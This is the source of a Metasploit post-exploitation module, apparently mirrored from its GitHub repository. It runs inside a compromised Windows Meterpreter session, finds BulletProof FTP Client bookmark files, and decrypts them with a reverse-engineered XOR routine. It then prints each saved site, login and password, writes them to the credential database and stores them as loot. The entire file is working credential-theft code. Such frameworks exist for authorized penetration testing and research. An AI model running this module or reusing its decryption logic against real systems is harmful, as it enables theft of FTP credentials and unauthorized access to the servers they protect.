CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/bulletproof_ftp.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::File
9
include Msf::Post::Windows::UserProfiles
10
include Msf::Post::Windows::Registry
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
17
'Description' => %q{
18
This module extracts information from BulletProof FTP Bookmarks files and store
19
retrieved credentials in the database.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'juan vazquez'],
23
'Platform' => [ 'win' ],
24
'SessionTypes' => [ 'meterpreter' ],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
stdapi_sys_config_getenv
29
]
30
}
31
}
32
)
33
)
34
end
35
36
class BookmarksParser
37
38
# Array of entries found after parsing a Bookmarks File
39
attr_accessor :entries
40
41
def initialize(contents)
42
@xor_key = nil
43
@contents_bookmark = contents
44
@entries = []
45
end
46
47
def parse_bookmarks
48
if !parse_header
49
return
50
end
51
52
until @contents_bookmark.empty?
53
parse_entry
54
@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
55
end
56
end
57
58
private
59
60
def low_dword(value)
61
return Rex::Text.pack_int64le(value).unpack('VV')[0]
62
end
63
64
def high_dword(value)
65
return Rex::Text.pack_int64le(value).unpack('VV')[1]
66
end
67
68
def low_byte(value)
69
return [value].pack('V').unpack('C*')[0]
70
end
71
72
def generate_xor_key
73
# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
74
# .text:007B13C1 mov eax, 100h
75
# ... later
76
# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h
77
# .text:00403829 inc edx
78
# .text:0040382A mov dword_7EF008[ebx], edx
79
# .text:00403830 mul edx
80
temp = @xor_key * 0x8088405
81
temp = low_dword(temp)
82
temp += 1
83
@xor_key = temp
84
result = temp * 0x100
85
result = high_dword(result)
86
result = low_byte(result)
87
return result
88
end
89
90
def decrypt(encrypted)
91
length = encrypted.unpack('C')[0]
92
return '' if length.nil?
93
94
@xor_key = length
95
encrypted = encrypted[1..length]
96
return '' if encrypted.length != length
97
98
decrypted = ''
99
encrypted.unpack('C*').each do |byte|
100
key = generate_xor_key
101
decrypted << [byte ^ key].pack('C')
102
end
103
return decrypted
104
end
105
106
def parse_object
107
object_length = @contents_bookmark[0, 1].unpack('C')[0]
108
object = @contents_bookmark[0, object_length + 1]
109
@contents_bookmark.slice!(0, object_length + 1)
110
content = decrypt(object)
111
return content
112
end
113
114
def parse_entry
115
site_name = parse_object
116
site_address = parse_object
117
login = parse_object
118
remote_dir = parse_object
119
local_dir = parse_object
120
port = parse_object
121
password = parse_object
122
123
@entries << {
124
site_name: site_name,
125
site_address: site_address,
126
login: login,
127
remote_dir: remote_dir,
128
local_dir: local_dir,
129
port: port,
130
password: password
131
}
132
end
133
134
def parse_header
135
signature = parse_object
136
if !signature.eql?('BPSitelist')
137
return false # Error!
138
end
139
140
unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
141
return false unless unknown == "\x01\x00\x00\x00"
142
143
return true
144
end
145
end
146
147
def check_installation
148
bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
149
bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)
150
151
return false if bullet_reg_ver.nil?
152
153
bullet_reg_ver.each do |key|
154
if key =~ /BulletProof FTP Client/
155
return true
156
end
157
end
158
return false
159
end
160
161
def get_bookmarks(path)
162
bookmarks = []
163
164
if !directory?(path)
165
return bookmarks
166
end
167
168
session.fs.dir.foreach(path) do |entry|
169
if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
170
bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
171
elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
172
vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
173
bookmarks << "#{path}\\#{entry}"
174
end
175
end
176
return bookmarks
177
end
178
179
def check_bulletproof(user_dir)
180
session.fs.dir.foreach(user_dir) do |directory|
181
if directory =~ /BulletProof Software/
182
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
183
return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
184
end
185
end
186
return nil
187
end
188
189
def report_findings(entries)
190
entries.each do |entry|
191
@credentials << [
192
entry[:site_name],
193
entry[:site_address],
194
entry[:port],
195
entry[:login],
196
entry[:password],
197
entry[:remote_dir],
198
entry[:local_dir]
199
]
200
201
service_data = {
202
address: Rex::Socket.getaddress(entry[:site_address]),
203
port: entry[:port],
204
protocol: 'tcp',
205
service_name: 'ftp',
206
workspace_id: myworkspace_id
207
}
208
209
credential_data = {
210
origin_type: :session,
211
session_id: session_db_id,
212
post_reference_name: refname,
213
username: entry[:login],
214
private_data: entry[:password],
215
private_type: :password
216
}
217
218
credential_core = create_credential(credential_data.merge(service_data))
219
220
login_data = {
221
core: credential_core,
222
access_level: 'User',
223
status: Metasploit::Model::Login::Status::UNTRIED
224
}
225
226
create_credential_login(login_data.merge(service_data))
227
end
228
end
229
230
def run
231
print_status('Checking if BulletProof FTP Client is installed...')
232
if !check_installation
233
print_error("BulletProof FTP Client isn't installed")
234
return
235
end
236
237
print_status('Searching BulletProof FTP Client Data directories...')
238
# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
239
profiles = grab_user_profiles
240
bullet_paths = []
241
profiles.each do |user|
242
next if user['LocalAppData'].nil?
243
244
bulletproof_dir = check_bulletproof(user['LocalAppData'])
245
bullet_paths << bulletproof_dir if bulletproof_dir
246
end
247
248
print_status('Searching BulletProof FTP Client installation directory...')
249
# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
250
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
251
progfilesx86 = progfiles_env['ProgramFiles(X86)']
252
if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
253
program_files = progfilesx86 # x64
254
else
255
program_files = progfiles_env['ProgramFiles'] # x86
256
end
257
258
session.fs.dir.foreach(program_files) do |dir|
259
if dir =~ /BulletProof FTP Client/
260
vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
261
bullet_paths << "#{program_files}\\#{dir}"
262
end
263
end
264
265
if bullet_paths.empty?
266
print_error('BulletProof FTP Client directories not found.')
267
return
268
end
269
270
print_status('Searching for BulletProof FTP Client Bookmarks files...')
271
bookmarks = []
272
bullet_paths.each do |path|
273
bookmarks.concat(get_bookmarks(path))
274
end
275
if bookmarks.empty?
276
print_error('BulletProof FTP Client Bookmarks files not found.')
277
return
278
end
279
280
print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
281
entries = []
282
bookmarks.each do |bookmark|
283
p = BookmarksParser.new(read_file(bookmark))
284
p.parse_bookmarks
285
if !p.entries.empty?
286
entries.concat(p.entries)
287
else
288
vprint_error("Entries not found on #{bookmark}")
289
end
290
end
291
292
if entries.empty?
293
print_error('BulletProof FTP Client Bookmarks not found.')
294
return
295
end
296
297
# Report / Show findings
298
@credentials = Rex::Text::Table.new(
299
'Header' => 'BulletProof FTP Client Bookmarks',
300
'Indent' => 1,
301
'Columns' =>
302
[
303
'Site Name',
304
'Site Address',
305
'Port',
306
'Login',
307
'Password',
308
'Remote Dir',
309
'Local Dir'
310
]
311
)
312
313
report_findings(entries)
314
results = @credentials.to_s
315
316
print_line("\n" + results + "\n")
317
318
if !@credentials.rows.empty?
319
p = store_loot(
320
'bulletproof.creds',
321
'text/plain',
322
session,
323
@credentials.to_csv,
324
'bulletproof.creds.csv',
325
'BulletProof Credentials'
326
)
327
print_status("Data stored in: #{p}")
328
end
329
end
330
end
331
332